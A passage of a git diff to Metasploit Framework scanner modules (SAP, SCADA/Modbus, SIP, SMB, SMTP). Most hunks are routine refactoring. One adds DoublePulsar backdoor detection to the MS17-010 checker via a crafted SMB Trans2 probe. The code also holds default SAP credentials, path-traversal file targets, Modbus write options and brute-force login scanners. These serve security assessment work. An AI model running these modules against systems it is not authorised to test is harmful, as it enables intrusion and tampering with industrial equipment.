'MSF']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 0615e0c753..5d373e408c 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CMD', [true, 'SM69 command to be executed', 'PING']), OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]), OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb index 026be35789..32cd168a2a 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CMD', [true, 'SM69 command to be executed', 'PING']), OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]), OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 8d9debb9f5..5481be56cd 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CLIENT', [true, 'SAP Client ', '001']), OptString.new('HttpUsername', [true, 'Username', 'SAP*']), OptString.new('HttpPassword', [true, 'Password', '06071992']), - ], self.class) + ]) end def extract_field(data, elem) diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb index 09e6ee3b0b..9dc8901c67 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require "msf/core" - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CLIENT', [true, 'SAP Client', '001']), OptString.new('HttpUsername', [true, 'Username', 'SAP*']), OptString.new('HttpPassword', [true, 'Password', '06071992']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index a97e65fda8..c02305e760 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']), OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]), OptString.new('USERPASS_FILE',[false, '',nil]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb index 10c13f6ba1..d81f2b6673 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/addp' class MetasploitModule < Msf::Auxiliary @@ -29,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(2362), OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps']) - ], self.class) + ]) end def scanner_prescan(batch) diff --git a/modules/auxiliary/scanner/scada/digi_addp_version.rb b/modules/auxiliary/scanner/scada/digi_addp_version.rb index 25d2ccffaa..77f0671d0c 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_version.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_version.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/addp' class MetasploitModule < Msf::Auxiliary @@ -29,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(2362), OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps']) - ], self.class) + ]) end def scanner_prescan(batch) diff --git a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb index 1893540379..28da351499 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::RealPort @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new("BANNER_TIMEOUT", [true, "How long to capture data from the serial port", 5]), OptString.new('BAUD_RATES', [true, "A space delimited list of baud rates to try for each port", "9600 115200"]), OptString.new('PORTS', [true, "A space delimited list of 1-indexed serial port numbers to try, default is all supported", "ALL"]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/scanner/scada/digi_realport_version.rb b/modules/auxiliary/scanner/scada/digi_realport_version.rb index eb6c6aad89..e2c9c14373 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_version.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::RealPort diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index ab3545a5bf..e0d57a3f03 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('RFILE', [true, 'Remote File', '/windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 3]) - ], self.class) + ]) register_autofilter_ports([ 80 ]) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index 83e248ba52..c9315de1f2 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - # msfdev is going to want a bunch of other stuff for style/compat but this works # TODO: Make into a real AuthBrute module, although the password pattern is fixed @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]), OptString.new('PREFIX', [true, 'The prefix to use for the password (default: A)', "A"]), Opt::RPORT(28784) - ], self.class) + ]) end @@CCITT_16 = [ diff --git a/modules/auxiliary/scanner/scada/modbus_findunitid.rb b/modules/auxiliary/scanner/scada/modbus_findunitid.rb index b58a0fe30c..30eefe0845 100644 --- a/modules/auxiliary/scanner/scada/modbus_findunitid.rb +++ b/modules/auxiliary/scanner/scada/modbus_findunitid.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('UNIT_ID_TO', [true, "ModBus Unit Identifier scan to value [UNIT_ID_FROM..254]", 254]), OptInt.new('BENICE', [true, "Seconds to sleep between StationID-probes, just for beeing nice", 1]), OptInt.new('TIMEOUT', [true, 'Timeout for the network probe, 0 means no timeout', 2]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index 325de27a11..daec836d97 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('DATA_COILS', [false, "Data in binary to write (WRITE_COILS mode only) e.g. 0110"]), OptString.new('DATA_REGISTERS', [false, "Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4"]), OptInt.new('UNIT_NUMBER', [false, "Modbus unit number", 1]), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/scada/modbusdetect.rb b/modules/auxiliary/scanner/scada/modbusdetect.rb index 3eff2c7567..ce5d84f2ff 100644 --- a/modules/auxiliary/scanner/scada/modbusdetect.rb +++ b/modules/auxiliary/scanner/scada/modbusdetect.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(502), OptInt.new('UNIT_ID', [true, "ModBus Unit Identifier, 1..255, most often 1 ", 1]), OptInt.new('TIMEOUT', [true, 'Timeout for the network probe', 10]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/scada/moxa_discover.rb b/modules/auxiliary/scanner/scada/moxa_discover.rb index c709913631..98d999bd2c 100644 --- a/modules/auxiliary/scanner/scada/moxa_discover.rb +++ b/modules/auxiliary/scanner/scada/moxa_discover.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary [ # Moxa protocol listens on 4800/UDP by default Opt::RPORT(4800) - ], self.class) + ]) end # The data to be sent via UDP diff --git a/modules/auxiliary/scanner/scada/profinet_siemens.rb b/modules/auxiliary/scanner/scada/profinet_siemens.rb index 43a726be60..970b585754 100644 --- a/modules/auxiliary/scanner/scada/profinet_siemens.rb +++ b/modules/auxiliary/scanner/scada/profinet_siemens.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'packetfu' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb index d9dfc144ff..5b273d7418 100644 --- a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(46824), OptString.new('FILEPATH', [true, 'The name of the file to download', '/WINDOWS/system32/drivers/etc/hosts']), OptInt.new('DEPTH', [true, 'Traversal depth', 10]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sip/enumerator.rb b/modules/auxiliary/scanner/sip/enumerator.rb index 9622c45419..290db0d7fb 100644 --- a/modules/auxiliary/scanner/sip/enumerator.rb +++ b/modules/auxiliary/scanner/sip/enumerator.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(5060), Opt::CHOST, Opt::CPORT(5060) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/sip/enumerator_tcp.rb b/modules/auxiliary/scanner/sip/enumerator_tcp.rb index f136b4e210..0552708f4f 100644 --- a/modules/auxiliary/scanner/sip/enumerator_tcp.rb +++ b/modules/auxiliary/scanner/sip/enumerator_tcp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('PADLEN', [true, 'Cero padding maximum length', 4]), OptEnum.new('METHOD', [true, 'Enumeration method', 'REGISTER', ['OPTIONS', 'REGISTER']]), Opt::RPORT(5060) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/sip/options.rb b/modules/auxiliary/scanner/sip/options.rb index dbfb95bb4f..449c8109d6 100644 --- a/modules/auxiliary/scanner/sip/options.rb +++ b/modules/auxiliary/scanner/sip/options.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']), Opt::RPORT(5060) - ], self.class) + ]) end def scanner_prescan(batch) diff --git a/modules/auxiliary/scanner/sip/options_tcp.rb b/modules/auxiliary/scanner/sip/options_tcp.rb index 21f0ae4ff4..76ba3953af 100644 --- a/modules/auxiliary/scanner/sip/options_tcp.rb +++ b/modules/auxiliary/scanner/sip/options_tcp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']), Opt::RPORT(5060) - ], self.class) + ]) end # Operate on a single system at a time diff --git a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb index a98910c8ca..98c4907052 100644 --- a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb +++ b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('STRTPORT', [true, 'The start probe port', 59150]), OptInt.new('FNLPORT', [true, 'The final probe port', 59159]), OptInt.new('RPORT', [false, 'Remote port to probe', nil]), - ], self.class) + ]) end def create_probe(ip, meth, branch, tag, callid) diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index a5e7b7ed72..7dae694222 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index 28b78f6ad8..955cda18f8 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER)", 'BROWSER']), - ], self.class) + ]) end @@target_uuids = [ diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index c150e7e810..e12998b3fc 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [false, 'The name of a specific user to search for', '']), OptString.new('RPORT', [true, 'The Target port', 445]), OptString.new('WINPATH', [true, 'The name of the Windows directory', 'WINDOWS']), - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/smb/smb2.rb b/modules/auxiliary/scanner/smb/smb2.rb index f54004bbe9..6e48952e73 100644 --- a/modules/auxiliary/scanner/smb/smb2.rb +++ b/modules/auxiliary/scanner/smb/smb2.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options([ Opt::RPORT(445) ], self.class) + register_options([ Opt::RPORT(445) ]) end # Fingerprint a single host diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb index 1a492f17f3..e449dabff3 100644 --- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/parser/group_policy_preferences' class MetasploitModule < Msf::Auxiliary @@ -43,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']), OptString.new('RPORT', [true, 'The Target port', 445]), OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true]) - ], self.class) + ]) end def check_path(ip, path) diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index b16a59787e..e20c6b2d85 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Auxiliary @@ -51,7 +50,7 @@ class MetasploitModule < Msf::Auxiliary OptEnum.new('LogSpider', [false, '0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt)', 3, [0,1,2,3]]), OptInt.new('MaxDepth', [true, 'Max number of subdirectories to spider', 999]), OptBool.new('USE_SRVSVC_ONLY', [true, 'List shares only with SRVSVC', false ]) - ], self.class) + ]) deregister_options('RPORT', 'RHOST') end diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb index 113317e176..31b6eff486 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 06d4a0aa71..3b51f312e5 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 283c65e0cb..9f30e24d3e 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/smb' require 'metasploit/framework/credential_collection' @@ -59,7 +58,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]), OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]), OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 7f9b27109f..eb194b66d6 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index c128996235..3ee31bf72e 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client @@ -22,10 +20,17 @@ class MetasploitModule < Msf::Auxiliary If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does not have the MS17-010 patch. + If the machine is missing the MS17-010 patch, the module will check for an + existing DoublePulsar (ring 0 shellcode/malware) infection. + This module does not require valid SMB credentials in default server configurations. It can log on as the user "\" and connect to IPC$. }, - 'Author' => [ 'Sean Dillon ' ], + 'Author' => + [ + 'Sean Dillon ', # @zerosum0x0 + 'Luke Jennings' # DoublePulsar detection Python code + ], 'References' => [ [ 'CVE', '2017-0143'], @@ -35,27 +40,61 @@ class MetasploitModule < Msf::Auxiliary [ 'CVE', '2017-0147'], [ 'CVE', '2017-0148'], [ 'MSB', 'MS17-010'], + [ 'URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'], + [ 'URL', 'https://github.com/countercept/doublepulsar-detection-script'], [ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx'] ], 'License' => MSF_LICENSE )) end + # algorithm to calculate the XOR Key for DoublePulsar knocks + def calculate_doublepulsar_xor_key(s) + x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) + x & 0xffffffff # this line was added just to truncate to 32 bits + end + + # The arch is adjacent to the XOR key in the SMB signature + def calculate_doublepulsar_arch(s) + s == 0 ? 'x86 (32-bit)' : 'x64 (64-bit)' + end + def run_host(ip) begin - status = do_smb_probe(ip) + ipc_share = "\\\\#{ip}\\IPC$" + + tree_id = do_smb_setup_tree(ipc_share) + vprint_status("Connected to #{ipc_share} with TID = #{tree_id}") + + status = do_smb_ms17_010_probe(tree_id) + vprint_status("Received #{status} with FID = 0") if status == "STATUS_INSUFF_SERVER_RESOURCES" - print_warning("Host is likely VULNERABLE to MS17-010!") + print_good("Host is likely VULNERABLE to MS17-010! (#{simple.client.peer_native_os})") report_vuln( host: ip, name: self.name, refs: self.references, - info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$' + info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$ -- (#{simple.client.peer_native_os})' ) + + # vulnerable to MS17-010, check for DoublePulsar infection + code, signature1, signature2 = do_smb_doublepulsar_probe(tree_id) + + if code == 0x51 + xor_key = calculate_doublepulsar_xor_key(signature1).to_s(16).upcase + arch = calculate_doublepulsar_arch(signature2) + print_warning("Host is likely INFECTED with DoublePulsar! - Arch: #{arch}, XOR Key: 0x#{xor_key}") + report_vuln( + host: ip, + name: "MS17-010 DoublePulsar Infection", + refs: self.references, + info: "MultiPlexID += 0x10 on Trans2 request - Arch: #{arch}, XOR Key: 0x#{xor_key}" + ) + end elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE" # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others) - print_good("Host does NOT appear vulnerable.") + print_bad("Host does NOT appear vulnerable.") else print_bad("Unable to properly detect if host is vulnerable.") end @@ -72,19 +111,34 @@ class MetasploitModule < Msf::Auxiliary end end - def do_smb_probe(ip) + def do_smb_setup_tree(ipc_share) connect # logon as user \ simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain']) # connect to IPC$ - ipc_share = "\\\\#{ip}\\IPC$" simple.connect(ipc_share) - tree_id = simple.shares[ipc_share] - print_status("Connected to #{ipc_share} with TID = #{tree_id}") + # return tree + return simple.shares[ipc_share] + end + def do_smb_doublepulsar_probe(tree_id) + # make doublepulsar knock + pkt = make_smb_trans2_doublepulsar(tree_id) + + sock.put(pkt) + bytes = sock.get_once + + # convert packet to response struct + pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct + pkt.from_s(bytes[4..-1]) + + return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2'] + end + + def do_smb_ms17_010_probe(tree_id) # request transaction with fid = 0 pkt = make_smb_trans_ms17_010(tree_id) sock.put(pkt) @@ -97,10 +151,46 @@ class MetasploitModule < Msf::Auxiliary # convert error code to string code = pkt['SMB'].v['ErrorClass'] smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new - status = smberr.get_error(code) - print_status("Received #{status} with FID = 0") - status + return smberr.get_error(code) + end + + def make_smb_trans2_doublepulsar(tree_id) + # make a raw transaction packet + # this one is a trans2 packet, the checker is trans + pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct + simple.client.smb_defaults(pkt['Payload']['SMB']) + + # opcode 0x0e = SESSION_SETUP + setup = "\x0e\x00\x00\x00" + setup_count = 1 # 1 word + trans = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + # calculate offsets to the SetupData payload + base_offset = pkt.to_s.length + (setup.length) - 4 + param_offset = base_offset + trans.length + data_offset = param_offset # + 0 + + # packet baselines + pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION2 + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + pkt['Payload']['SMB'].v['MultiplexID'] = 65 + pkt['Payload']['SMB'].v['Flags2'] = 0xc007 + pkt['Payload']['SMB'].v['TreeID'] = tree_id + pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count + pkt['Payload'].v['Timeout'] = 0x00a4d9a6 + pkt['Payload'].v['ParamCountTotal'] = 12 + pkt['Payload'].v['ParamCount'] = 12 + pkt['Payload'].v['ParamCountMax'] = 1 + pkt['Payload'].v['DataCountMax'] = 0 + pkt['Payload'].v['ParamOffset'] = 66 + pkt['Payload'].v['DataOffset'] = 78 + + pkt['Payload'].v['SetupCount'] = setup_count + pkt['Payload'].v['SetupData'] = setup + pkt['Payload'].v['Payload'] = trans + + pkt.to_s end def make_smb_trans_ms17_010(tree_id) diff --git a/modules/auxiliary/scanner/smb/smb_uninit_cred.rb b/modules/auxiliary/scanner/smb/smb_uninit_cred.rb index 9ffcc26c16..50f21a7625 100644 --- a/modules/auxiliary/scanner/smb/smb_uninit_cred.rb +++ b/modules/auxiliary/scanner/smb/smb_uninit_cred.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index da99af59a9..6ae437fe3c 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'recog' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb index ba2a9d2604..5a2c53662c 100644 --- a/modules/auxiliary/scanner/smtp/smtp_enum.rb +++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') ]), 